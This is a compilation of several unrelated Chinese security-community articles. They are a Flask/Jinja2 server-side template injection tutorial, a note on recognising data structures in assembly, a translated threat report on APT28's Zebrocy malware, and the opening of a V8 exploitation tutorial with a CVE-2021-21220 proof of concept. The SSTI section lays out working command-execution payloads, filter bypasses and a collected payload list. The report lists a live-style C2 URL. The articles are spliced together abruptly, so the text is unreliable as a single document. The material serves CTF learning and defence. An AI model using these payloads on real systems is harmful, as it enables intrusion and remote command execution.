我们想要呈现在每个用户面前自己的名字。但是{$what}我们不知道用户名字是什么，用一些url或者cookie包含的信息，渲染到what变量里，呈现给用户的为
<html>
<div>张三</div>
</html>
当然这只是最简单的示例，一般来说，至少会提供分支，迭代。还有一些内置函数。
# 什么是服务端模板注入
通过模板，我们可以通过输入转换成特定的HTML文件，比如一些博客页面，登陆的时候可能会返回
hi,张三。这个时候张三可能就是通过你的身份信息而渲染成html返回到页面。通过Twig php模板引擎来做示例。
$output = $twig->render( $_GET[‘custom_email’] , array(“first_name” => $user.first_name) );
可能你发现了它存在XSS漏洞，直接输入XSS代码便会弹窗，这没错，但是仔细观察，其他由于代码不规范他还存在着更为严重的ssti漏洞，假设我们的
url:xx.xx.xx/?custom_email={{7*7}}
将会返回49
我们继续custom_email={{self}}
返回 f<templatereference none=""></templatereference>
是的，在{{}}里，他将我们的代码进行了执行。服务器将我们的数据经过引擎解析的时候，进行了执行，模板注入与sql注入成因有点相似，都是信任了用户的输入，将不可靠的用户输入不经过滤直接进行了执行，用户插入了恶意代码同样也会执行。接下来我们会讲到重点。敲黑板。
# flask环境本地搭建(略详)
搭建flask我选择了 pycharm，学生的话可以免费下载专业版。下载安装这一步我就不说了。
环境：python 3.6+
基础：0-
简单测试
pycharm安装flask会自动导入了flask所需的模块，所以我们只需要命令安装所需要的包就可以了，建议用python3.6学习而不是2.X，毕竟django的都快要不支持2.X了，早换早超生。自动导入的也是python
3.6。
运行这边会出小错，因为此时我们还没有安装flask模块，
这样就可以正常运行了，运行成功便会返回
* Debug mode: off
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
127.0.0.1 - - [14/Dec/2018 20:32:20] "GET / HTTP/1.1" 200 - 127.0.0.1 - - [14/Dec/2018 20:32:20] "GET /favicon.ico HTTP/1.1" 404 -
此时可以在web上运行hello world了，访问<http://127.0.0.1:5000> 便可以看到打印出Hello World
## route装饰器路由
@app.route('/')
使用route（）装饰器告诉Flask什么样的URL能触发我们的函数.route（）装饰器把一个函数绑定到对应的URL上，这句话相当于路由，一个路由跟随一个函数，如
@app.route('/')
def test()"
return 123
访问127.0.0.1:5000/则会输出123，我们修改一下规则
@app.route('/test')
def test()"
return 123
这个时候访问127.0.0.1:5000/test会输出123.
此外还可以设置动态网址，
@app.route("/hello/<username>")
def hello_user(username):
return "user:%s"%username
根据url里的输入，动态辨别身份，此时便可以看到如下页面：
或者可以使用int型，转换器有下面几种：
int 接受整数
float 同 int ，但是接受浮点数
path 和默认的相似，但也接受斜线
@app.route('/post/<int:post_id>')
def show_post(post_id):
# show the post with the given id, the id is an integer
return 'Post %d' % post_id
## main入口
当.py文件被直接运行时，if name == ‘main‘之下的代码块将被运行；当.py文件以模块形式被导入时，if name ==
‘main‘之下的代码块不被运行。如果你经常以cmd方式运行自己写的python小脚本，那么不需要这个东西，但是如果需要做一个稍微大一点的python开发，写
if name ==’main__’
是一个良好的习惯，大一点的python脚本要分开几个文件来写，一个文件要使用另一个文件，也就是模块，此时这个if就会起到作用不会运行而是类似于文件包含来使用。
if __name__ == '__main__':
app.debug = True
app.run()
测试的时候，我们可以使用debug，方便调试，增加一句
app.debug = True
或者（效果是一样的）
app.run(debug=True)
这样我们修改代码的时候直接保存，网页刷新就可以了，如果不加debug，那么每次修改代码都要运行一次程序，并且把前一个程序关闭。否则会被前一个程序覆盖。
app.run(host='0.0.0.0')
这会让操作系统监听所有公网 IP,此时便可以在公网上看到自己的web。
## 模板渲染（重点）
你可以使用 render_template()
方法来渲染模板。你需要做的一切就是将模板名和你想作为关键字的参数传入模板的变量。这里有一个展示如何渲染模板的简例:
简单的模版渲染示例
from flask import render_template
@app.route('/hello/')
@app.route('/hello/<name>')
def hello(name=None):
return render_template('hello.html', name=name)//我们hello.html模板未创建所以这段代码暂时供观赏，不妨往下继续看
我们从模板渲染开始实例，因为我们毕竟不是做开发的，flask以模板注入闻名- -！，所以我们先从flask模版渲染入手深入剖析。
首先要搞清楚，模板渲染体系，render_template函数渲染的是templates中的模板，所谓模板是我们自己写的html，里面的参数需要我们根据每个用户需求传入动态变量。
├── app.py
├── static
│ └── style.css
└── templates
└── index.html
我们写一个index.html文件写templates文件夹中。
<html>
<head>
<title>{{title}} - 小猪佩奇</title>
</head>
<body>
<h1>Hello, {{user.name}}!</h1>
</body>
</html>
里面有两个参数需要我们渲染，user.name，以及title
我们在app.py文件里进行渲染。
@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转
def index():
user = {'name': '小猪佩奇'}#传入一个字典数组
return render_template("index.html",title='Home',user=user)
Image这次渲染我们没有使用用户可控，所以是安全的，如果我们交给用户可控并且不过滤参数就有可能造成SSTI模板注入漏洞。
# flask实战
此时我们环境已经搭建好了，可以进行更深一步的讲解了，以上好像我们讲解使用了php代码为啥题目是flask呢，没关系我们现在进入重点!!!--》》flask/jinja2模版注入
Flask是一个使用Python编写的轻量级web应用框架，其WSGI工具箱采用Werkzeug，模板引擎则使用Jinja2。这里我们提前给出漏洞代码。访问<http://127.0.0.1:5000/test>
即可
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
return render_template_string(template)
if __name__ == '__main__':
app.debug = True
app.run()
## flask漏洞成因
为什么说我们上面的代码会有漏洞呢，其实对于代码功底比较深的师傅，是不会存在ssti漏洞的，被一些偷懒的师傅简化了代码，所以造成了ssti。上面的代码我们本可以写成类似如下的形式。
<html>
<head>
<title>{{title}} - 小猪佩奇</title>
</head>
<body>
<h1>Hello, {{user.name}}!</h1>
</body>
</html>
里面有两个参数需要我们渲染，user.name，以及title
我们在app.py文件里进行渲染。
@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转
def index():
return render_template("index.html",title='Home',user=request.args.get("key"))
也就是说，两种代码的形式是，一种当字符串来渲染并且使用了%(request.url)，另一种规范使用index.html渲染文件。我们漏洞代码使用了render_template_string函数，而如果我们使用render_template函数，将变量传入进去，现在即使我们写成了request，我们可以在url里写自己想要的恶意代码{{}}你将会发现如下：
即使username可控了，但是代码已经并不生效，并不是你错了，是代码对了。这里问题出在，良好的代码规范，使得模板其实已经固定了，已经被render_template渲染了。你的模板渲染其实已经不可控了。而漏洞代码的问题出在这里
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
注意%（request.url），程序员因为省事并不会专门写一个html文件，而是直接当字符串来渲染。并且request.url是可控的，这也正是flask在CTF中经常使用的手段，报错404，返回当前错误url，通常CTF的flask如果是ssti，那么八九不离十就是基于这段代码，多的就是一些过滤和一些奇奇怪怪的方法函数。现在你已经明白了flask的ssti成因以及代码了。接下来我们进入实战。
## 本地环境进一步分析
上面我们已经放出了漏洞代码无过滤版本。现在我们深究如何利用ssti攻击。
现在我们已经知道了在flask中{{}}里面的代码将会执行。那么如何利用对于一个python小白可能还是一头雾水，如果之前没有深入学习过python，那么接下来可以让你对于poc稍微有点了解。进入正题。
在python中，object类是Python中所有类的基类，如果定义一个类时没有指定继承哪个类，则默认继承object类。我们从这段话出发，假定你已经知道ssti漏洞了，但是完全没学过ssti代码怎么写，接下来你可能会学到一点废话。
我们在pycharm中运行代码
print("".__class__)
返回了<class 'str'>，对于一个空字符串他已经打印了str类型，在python中，每个类都有一个 **bases**
属性，列出其基类。现在我们写代码。
print("".__class__.__bases__)
打印返回(<class 'object'>,)，我们已经找到了他的基类object，而我们想要寻找object类的不仅仅只有bases，同样可以使用
**mro** ， **mro** 给出了method resolution order，即解析方法调用的顺序。我们实例打印一下mro。
print("".__class__.__mro__)
可以看到返回了(<class 'str'>, <class
'object'>)，同样可以找到object类，正是由于这些但不仅限于这些方法，我们才有了各种沙箱逃逸的姿势。正如上面的解释， **mro**
返回了解析方法调用的顺序，将会打印两个。在flask
ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法。我们这里只举例最简单的。接下来我们增加代码。接下来我们使用subclasses,
**subclasses** () 这个方法，这个方法返回的是这个类的子类的集合，也就是object类的子类的集合。
print("".__class__.__bases__[0].__subclasses__())
python 3.6
版本下的object类下的方法集合。这里要记住一点2.7和3.6版本返回的子类不是一样的，但是2.7有的3.6大部分都有。需要自己寻找合适的标号来调用接下来我将进一步解释。打印如下：
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'moduledef'>, <class 'module'>, <class 'BaseException'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class 'PyHKEY'>, <class 'zipimport.zipimporter'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_itemiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>, <class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'functools.partialmethod'>, <class 'enum.auto'>, <enum 'Enum'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_sre.SRE_Pattern'>, <class '_sre.SRE_Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.Pattern'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_winapi.Overlapped'>, <class 'subprocess.STARTUPINFO'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
接下来就是我们需要找到合适的类，然后从合适的类中寻找我们需要的方法。这里开始我们不再用pycharm打印了，直接利用上面我们已经搭建好的漏洞环境来进行测试。通过我们在如上这么多类中一个一个查找，找到我们可利用的类，这里举例一种。<class
'os._wrap_close'>，os命令相信你看到就感觉很亲切。我们正是要从这个类中寻找我们可利用的方法，通过大概猜测找到是第119个类，0也对应一个类，所以这里写[118]。
http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118]}}
这个时候我们便可以利用. **init**. **globals** 来找os类下的，init初始化类，然后globals全局来查找所有的方法及变量及参数。
http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__}}
此时我们可以在网页上看到各种各样的参数方法函数。我们找其中一个可利用的function
popen，在python2中可找file读取文件，很多可利用方法，详情可百度了解下。
http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()}}
此时便可以看到命令已经执行。如果是在linux系统下便可以执行其他命令。此时我们已经成功得到权限。进下来我们将进一步简单讨论如何进行沙箱逃逸。
## ctf中的一些绕过tips
没什么系统思路。就是不断挖掘类研究官方文档以及各种能够利用的姿势。这里从最简单的绕过说起。
1.过滤[]等括号
使用gititem绕过。如原poc {{"". **class**. **bases** [0]}}
绕过后{{"". **class**. **bases**. **getitem** (0)}}
2.过滤了subclasses，拼凑法
原poc{{"". **class**. **bases** [0]. **subclasses** ()}}
绕过 {{"". **class**. **bases** [0][' **subcla'+'sses** ']()}}
3.过滤class
使用session
poc {{session[' **cla'+'ss** ']. **bases** [0]. **bases** [0]. **bases** [0].
**bases** [0]. **subclasses** ()[118]}}
多个bases[0]是因为一直在向上找object类。使用mro就会很方便
{{session['__cla'+'ss__'].__mro__[12]}}
或者
request['__cl'+'ass__'].__mro__[12]}}
4.timeit姿势
可以学习一下 2017 swpu-ctf的一道沙盒python题，
这里不详说了，博大精深，我只意会一二。
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)
import platform
print platform.popen('dir').read()
5.收藏的一些poc
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}
还有就可以参考一下P师傅的 <https://p0sec.net/index.php/archives/120/>
# 漏洞挖掘
对于一些师傅可能更偏向于实战，但是不幸的是实战中几乎不会出现ssti模板注入，或者说很少，大多出现在python 的ctf中。但是我们还是理性分析下。
每一个（重）模板引擎都有着自己的语法（点）,Payload 的构造需要针对各类模板引擎制定其不同的扫描规则,就如同 SQL
注入中有着不同的数据库类型一样。更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload
是否有得到编译解析,不同的引擎不同的解析。所以我们在挖掘之前有必要对网站的web框架进行检查，否则很多时候{{}}并没有用，导致错误判断。
接下来附张图，实战中要测试重点是看一些url的可控，比如url输入什么就输出什么。前期收集好网站的开发语言以及框架，防止错误利用{{}}而导致错误判断。如下图较全的反映了ssti的一些模板渲染引擎及利用。 | 社区文章 |
# 引言
通过将一条条指令组合成原始的数据类型完成汇编指令到高级语言结构
# 目标
掌握数组、链表、结构体等数据类型的汇编指令。
# 流程
1. 编写源代码，生成对应程序
2. 返汇编程序
3. 分析汇编代码，总结数据类型的特点
4. 小结
# 实践过程
## 数组类型
* 源代码
#include <stdio.h>
void main()
{
int arr[5];
arr[0] = 1;
arr[1] = 2;
for(int i=2; i<5; i++)
{
arr[i] = i;
}
}
* 汇编代码
* 数据类型特点
选区一块内存区域存放数组内容，这里选取的是栈上内存块并且从`ebp+arr`开始，然后将数据填充到这块内存里。
1. 一块内存上的每个元素长度一致
2. 小结
call ds:__imp__malloc
...
mov [ebp+eax*4+arr], ecx
给一段内存地址赋长度相同的值，看到类似上面这种指令的时候就可以浮现出一个对应数据类型的数组
## 结构体
* 源代码
#include <stdio.h>
#include <stdlib.h>
struct mystruct
{
int x[5];
char y;
};
struct mystruct *test;
void main()
{
test = (struct mystruct *)malloc(sizeof(struct mystruct));
for(int i=0; i<5; i++)
{
test->x[i]= i;
}
test->y = 'a';
}
* 汇编代码
* 特点
malloc出一块内存，然后给这块内存赋不同类型的数据
1. 一个内存上每个元素不全一致
2. 小结
mov ecx, ?test@@3PAUmystruct@@A ;
mov edx, [ebp+var_2C]
mov [ecx+eax*4], edx
...
mov eax, ?test@@3PAUmystruct@@A ; mystruct * test
mov byte ptr [eax+14h], 'a'
malloc得到一块内存后，给其赋不同长度或不同类型的数据
## 链表
* 源代码
#include <stdio.h>
#include <stdlib.h>
struct node
{
int x;
struct node * next;
};
typedef node pnode;
void main()
{
pnode * curr, * head;
int i;
head = NULL;
for(i = 1; i<=3; i++)
{
curr = (pnode *)malloc(sizeof(pnode));
curr->x = i;
curr->next = head;
head = curr;
}
}
* 汇编代码
* 特点
malloc一块内存，给这块内存内赋任意元素数据和`一个内存地址`，这个内存地址指向另一块相同类型的内存。
1. 一个内存块里必须存在一个元素指向另一个相同类型的内存块 | 社区文章 |
**译者：知道创宇404实验室翻译组**
**原文链接：<https://quointelligence.eu/2020/09/apt28-zebrocy-malware-campaign-nato-theme/#_ftnref1>**
### 摘要
* 8月9日，[QuoIntelligence](https://quointelligence.eu/ "QuoINT")检测到一个正在进行的APT28活动，该运动很可能在8月5日就开始了。
* 攻击中使用的恶意软件是Zebrocy Delphi版本。第一次提交时，所有的工件在VirusTotal上的反病毒（AV）检测率都很低。
* 在发现时，法国托管的C2基础设施仍在运行。
* 该恶意活动以北约即将举行的培训为诱饵。
* 该恶意活动针对的是阿塞拜疆的一个特定政府机构。攻击者也有可能以北约成员或其他参与北约演习的国家为目标。
* 分析揭示了与ReconHell / BlackWater攻击的有趣关联，我们在8月[发现](https://quointelligence.eu/2020/08/blackwater-malware-leveraging-beirut-tragedy-in-new-targeted-campaign/ "发现")了这一关联。
* 我们将调查结果报告给了法国当局以清除C2，并向北约进行了报告。
### 介绍
8月9日，QuoIntelligence向其政府客户发布了一份关于有关针对[北约](https://www.nato.int/
"北约")成员（或与北约合作的国家）政府机构的（又名Sofacy，Sednit，Fancy
Bear，STRONTIUM等）的警告。我们发现了一个上传到VirusTotal的恶意文件，该文件最终删除了Zebrocy恶意软件并与法国的C2通信。我们发现后，将恶意C2报告给了法国执法部门。
Zebrocy是APT28（也称为Sofacy）使用的恶意软件，在过去两年中，多家安全公司[[1]](https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
"\[1\]")[[2]](https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/ "\[2\]")[[3]](https://securelist.com/shedding-skin-turlas-fresh-faces/88069/ "\[3\]")[[4]](https://securelist.com/a-zebrocy-go-downloader/89419/ "\[4\]")[[5]](https://securelist.com/greyenergys-overlap-with-zebrocy/89506/ "\[5\]")[[6]](https://securelist.com/zebrocys-multilanguage-malware-salad/90680/ "\[6\]")报告了这种恶意软件。
最后，我们得出结论，这次袭击始于8月5日，至少针对位于中东的一个政府实体。但是，北约成员极有可能也观察到了同样的袭击。
### 技术分析
乍一看，该示例似乎是有效的JPEG图像文件：
事实上，如果文件改名为JPG，操作系统将显示欧洲盟军最高司令部（[SHAPE](https://shape.nato.int/
"SHAPE")）的徽标，即位于比利时的北约盟军司令部行动部（ACO）。
然而，进一步的分析显示，这个示例有一个连接的Zip文件。这项技术之所以有效，是因为JPEG文件是从文件的开头解析的，而有些Zip实现则是从文件的末尾解析Zip文件（因为索引就在那里）。
这种技术也被攻击者用来逃避AVs或其他过滤系统，因为他们可能会把文件误认为JPEG文件而跳过它。有趣的是，为了在用户点击后触发Windows文件的解压，需要满足以下条件：①文件必须正确命名为.zip（x）。②文件需要用WinRAR打开。如果目标受害者使用WinZip或默认的Windows实用程序，文件将显示一条错误消息，声称该文件已损坏。
解压附加的ZIP文件后，将删除以下两个示例：
考虑到诱饵使用的是北约图像，攻击者可能选择了文件名以利用即将在2020年10月举行的[北约课程](https://www.natoschool.nato.int/Academics/Portfolio/Course-Catalogue#2aid-aid "北约课程")。此外，Excel文件（XLS）已损坏，不能由Microsoft
Excel打开，它似乎包含了参与“非洲联盟索马里特派团”军事任务的军事人员的信息。这些信息包括姓名，职级，单位，到达/离开日期等。
需要注意的是，QuoINT无法确定文件中包含的信息是否合法。
解释损坏的文件的一种假设是攻击者的故意策略。原因可能是攻击者使用户尝试首先打开XLS文件，然后再次使用相同的文件名打开.exe。.exe文件具有PDF图标，因此，如果未显示文件扩展名，则可能诱使目标用户打开可执行文件。
分析的示例是一个Delphi可执行文件。自2015年以来，多个研究人员已经深入[研究](https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/ "研究")了Zebrocy
Delphi版本。有趣的是，最近的Zebrocy观察似乎暗示了Delphi版本的不连续性，而倾向于使用Go语言编写的新版本。
### 行为分析
执行后，该示例通过将160个随机字节添加到新文件，将自身复制到`％AppData％\ Roaming \ Service \ 12345678 \
sqlservice.exe`中 。由于填充的恶意软件将始终具有不同的文件哈希值，因此该填充用于规避哈希匹配安全控制。
接下来，该恶意软件创建一个新的计划任务，并使用/ s 参数执行。
该任务会定期运行，并尝试将窃取的数据（例如，屏幕截图）发布到`hxxp://194.32.78[.]245/protect/get-upd-id[.]php`。
乍一看，数据似乎被混淆和加密了。另一个请求如下所示：
标题数字12345678（原始的8位数字被删除）似乎是恒定的，表明它已被用作感染机器的唯一ID。值得注意的是，在创建包含sqlservice.exe的文件夹时，恶意软件也会使用相同的数字。
在我们的分析过程中，让样本与实际C2对话并不会改变其实际行为。该恶意软件大约每分钟发送一次POST请求，而不会返回响应。此外，服务器在等待约10秒后关闭连接。这种无响应的行为可能是由于C2确定受感染的计算机不感兴趣。
最后，生成到C2的网络流量会触发以下新兴威胁（ET）IDS规则：
* ET TROJAN Zebrocy Screenshot Upload” (SID: 2030122)
### 受害与归因
QuoINT具有中高可信度的结论是，该广告活动指定特定的政府机构（至少包括阿塞拜疆）。尽管阿塞拜疆不是北约成员，但它与北大西洋组织密切合作并参加北约演习。此外，同一运动很可能针对与北约演习合作的其他北约成员或国家。
通过对攻击的战术、技术和程序（TTP）、目标和作为诱饵的主题的分析，我们对将这次攻击归因于去年安全界披露的著名APT28/ZebrocyTTP。
### 有趣的巧合？
尽管我们仍未找到这两次攻击之间强有力的因果联系或牢固的技术联系，但以下几点与我们在8月11日[发现](https://quointelligence.eu/2020/08/blackwater-malware-leveraging-beirut-tragedy-in-new-targeted-campaign/
"发现")的ReconHellcat运动有关：
* 压缩的Zebrocy恶意软件和用于丢弃BlackWater后门的以OSCE为主题的诱饵均于8月5日当天上传。
* 这两个样本都是由阿塞拜疆的同一用户上传的，并且很可能是同一组织的。
* 两次攻击都发生在同一时间范围内。
* 欧安组织和北约都是过去曾经（直接或间接）成为APT28的目标的组织。
* ReconHellcat战役确定的受害者与Zebrocy攻击的目标（即类似类型的政府机构）一致。两次攻击所针对的组织类型也符合已知的APT28。
* 我们将ReconHellcat评估为高能力APT组，如APT28。
### 参考
[1] ESET, A1, April 2018, [Sednit update: Analysis of
Zebrocy](https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/ "Sednit update: Analysis of Zebrocy")
[2] Palo Alto, B1, June 2018, [Sofacy Group’s Parallel
Attacks](https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/ "Sofacy Group’s Parallel Attacks")
[3] Kaspersky, A1, October 2018, [Shedding Skin – Turla’s Fresh
Faces](https://securelist.com/shedding-skin-turlas-fresh-faces/88069/
"Shedding Skin – Turla’s Fresh Faces")
[4] Kaspersky, A1, Janurary 2019, [A Zebrocy Go
Downloader](https://securelist.com/a-zebrocy-go-downloader/89419/ "A Zebrocy
Go Downloader")
[5] Kaspersky, A1, January 2019, [GreyEnergy’s overlap with
Zebrocy](https://securelist.com/greyenergys-overlap-with-zebrocy/89506/
"GreyEnergy’s overlap with Zebrocy")
[6]Kaspersky, A1, June 2019, [Zebrocy’s Multilanguage
Malware](https://securelist.com/zebrocys-multilanguage-malware-salad/90680/
"Zebrocy’s Multilanguage Malware")
### IOCs
hxxp://194.32.78.245/protect/get-upd-id.php
**Course 5 – 16 October 2020.zipx**
6e89e098816f3d353b155ab0f3377fe3eb3951f45f8c34c4a48c5b61cd8425aa
**Course 5 – 16 October 2020.xls (Corrupted file)**
b45dc885949d29cba06595305923a0ed8969774dae995f0ce5b947b5ab5fe185
**Course 5 – 16 October 2020.exe (Zebrocy malware)**
aac3b1221366cf7e4421bdd555d0bc33d4b92d6f65fa58c1bb4d8474db883fec
**Additional Zebrocy malware variants on VT**
fae335a465bb9faac24c58304a199f3bf9bb1b0bd07b05b18e2be6b9e90d72e6
eb81c1be62f23ac7700c70d866e84f5bc354f88e6f7d84fd65374f84e252e76b
* * * | 社区文章 |
**作者：Hcamael@知道创宇404实验室
时间：2022年02月21日**
**相关阅读：
[从 0 开始学 V8 漏洞利用之环境搭建（一）](https://paper.seebug.org/1820/ "从 0 开始学 V8
漏洞利用之环境搭建（一）")
[从 0 开始学 V8 漏洞利用之 V8 通用利用链（二）](https://paper.seebug.org/1821/ "从 0 开始学 V8
漏洞利用之 V8 通用利用链（二）")
[从 0 开始学 V8 漏洞利用之 starctf 2019 OOB（三）](https://paper.seebug.org/1822/ "从 0 开始学
V8 漏洞利用之 starctf 2019 OOB（三）")
[从 0 开始学 V8 漏洞利用之 CVE-2020-6507（四）](https://paper.seebug.org/1823/ "从 0 开始学 V8
漏洞利用之 CVE-2020-6507（四）")
[从0开始学 V8 漏洞利用之 CVE-2021-30632（五）](https://paper.seebug.org/1824/ "从0开始学 V8
漏洞利用之 CVE-2021-30632（五）")
[从 0 开始学 V8 漏洞利用之 CVE-2021-38001（六）](https://paper.seebug.org/1825/ "从 0 开始学
V8 漏洞利用之 CVE-2021-38001（六）")
[从 0 开始学 V8 漏洞利用之 CVE-2021-30517（七）](https://paper.seebug.org/1826/ "从 0 开始学
V8 漏洞利用之 CVE-2021-30517（七）")**
第六个研究的是`CVE-2021-21220`，其chrome的bug编号为：[1196683](https://bugs.chromium.org/p/chromium/issues/detail?id=1196683
"1196683")
可以很容易找到其相关信息：
受影响的Chrome最高版本为：`89.0.4389.114` 受影响的V8最高版本为：`8.9.255.24`
并且还附带了[exp](https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=497472
"exp")
# 搭建环境
一键编译相关环境：
$ ./build.sh 8.9.255.24
# 漏洞分析
因为通过之前的文章，已经对模板套路很熟悉了，所以在之后的文章中，将不会过多讲诉套模板编写exp，而会让重点放在一些之前文章中没有的点上，更着重在漏洞利用技巧这块。
该漏洞的PoC如下：
const _arr = new Uint32Array([2**31]);
function foo(a) {
var x = 1;
x = (_arr[0] ^ 0) + 1;
x = Math.abs(x);
x -= 2147483647;
x = Math.max(x, 0);
x -= 1;
if(x==-1) x = 0;
var arr = new Array(x);
arr.shift();
var cor = [1.1, 1.2, 1.3];
return [arr, cor];
}
上述PoC来源于：<https://github.com/security-dbg/CVE-2021-21220/blob/main/exploit.js>
因为我认为这个PoC更利于理解该漏洞。
根据我的理解，我做了如下修改：
var b = new Uint32Array([0x80000000]);
var trigger_array = [];
function trigger() {
var x = 1;
x = (b[0] ^ 0) + 1; // 0x80000000 + 1
x = Math.abs(x); // 0x80000001 0x7fffffff
x -= 0x7fffffff; // 2 0
x = Math.max(x, 0); // 2 0
x -= 1; // 1 -1
if(x==-1) x = 0; // 1 0
trigger_array = new Array(x); // 1 0
trigger_array.shift();
var da = [1.1, 2.2];
var ob = [{a: 1,b: 2}];
return [da, ob];
}
